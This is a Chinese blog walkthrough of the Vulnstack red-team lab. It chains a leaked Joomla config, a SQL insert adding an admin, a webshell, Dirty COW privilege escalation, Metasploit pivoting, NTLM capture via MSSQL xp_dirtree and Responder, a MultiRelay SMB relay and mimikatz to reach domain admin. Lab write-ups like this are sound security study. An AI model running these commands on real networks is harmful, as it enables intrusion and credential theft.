渗透-Vulnstack靶机学习3

靶机渗透

Posted by hmoytx on January 24, 2020

渗透-Vulnstack靶机学习3

Vulnstack是红日安全团队出品的一个实战环境,本次测试的红日安全 ATT&CK实战系列——红队实战(三)靶场环境,下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

Web

一共五个虚拟机文件,下载完后全部启动,有一个web,默认是192.168.1.110,我这改过后面换成了104。
访问是一个joomla的站。
200124_1
查看了下版本,比较高,应该是不存在直接可以利用的漏洞。
200124_2
一步一步来,先扫一下目录和文件。
200124_3
可以看到有个配置文件的备份文件泄漏。
200124_4
里面有一个mysql的测试账户,如果3306对外开放,可以利用这个测试账户,修改数据库,添加管理进入后台。测试下3306是否对外开放。
200124_5
端口是开着的。登陆下试试,可以登陆。
200124_6
根据官方手册,添加一个admin2 密码为secret的账户。

NSERT INTO `am2zu_users`
   (`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
    'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');

图中踩了个小坑,表前缀根据配置文件的来,而不是数据库中显示的。
200124_7
登陆以后拿webshell比较简答,在模板中创建文件即可。
200124_8
用蚁剑链接后,不能执行命令。
200124_9
没有关系,直接翻文件,翻了一圈,翻到一个有意思的文件。
200124_10
尝试登陆一下,emmm可以成功登陆192.168.1.104。对比发现文件目录并不一样,推测104是一个反向代理服务器。
200124_11

内网 提权

看了下内核版本,应该可以用脏牛提权。
200124_12
然后用msf生成个elf,反弹下,用这个去扫内网快一点。
200124_13
添加路由。
200124_14
扫一下内网smb,有3台。
200124_15
基本的内网拓扑就知道了,一台centos反向代理了一个web,两张网卡,内网由一个web服务器,没有去尝试执行命令和提权,然后是一个三台win组成的域环境,192.168.93.10,192.168.93.20,192.168.93.30.
扫了下端口服务,发现有一台192.168.93.20开启了1433端口,测试能用之前mysql的testuser账号密码登陆,其他的ms17010均不行。
尝试使用mssql来完成ntlm中继的过程。正常情况下要在服务器上去操作dir远程主机的命令(不用net use 是因为dir会自动测试本地已有的hash,而不需要手动输入), 这里利用mssql调用xp_dirtree来代替完成这个过程。
上传Responder至104并开启。然后在msf中调用模块(auxiliary/admin/mssql/mssql_ntlm_stealer)去触发UNC。
200124_16
192.168.1.104上开启responder。
200124_17
获取到hash,可以尝试破解。实际上不破解也可以,配合利用MultiRelay进行转发即可。

smb中继

在实际测试中发现了一个问题,我这里192.168.93.30去尝试登陆20不行,反过来是可以的,所以为了测试,并写中继的过程,我是手动去完成这个过程的,登陆了20执行了dir命令。
先在104上开启MultiRelay。

python MultiRelay.py -t 192.168.93.20 -u Administrator

-t是尝试去登陆的机器,实际上应该是由20发起登陆请求中继登陆30,这里我是反过来了,没办法是这样的。这里-u我写了administrator,因为我知道有这个账户,不知道的话就写ALL。
然后去192.168.93.30上执行:

dir \\192.168.93.100\c$

然后在MultiRelay中会返回一个shell。
200124_18
使用mimikatz读取密码.
200124_19
仔细看是有域管的密码的。
200124_21
那就已经完毕了。
200124_20
如果照原始的套路来做,会麻烦一点,多一步,我们是根据20登陆的30,30读到的密码,需要再去登陆20,然后mimikatz,比较绕。 原理是一样的。

参考

https://xz.aliyun.com/t/6988
https://www.jianshu.com/p/c7d8e7d9c03c
https://xz.aliyun.com/t/3560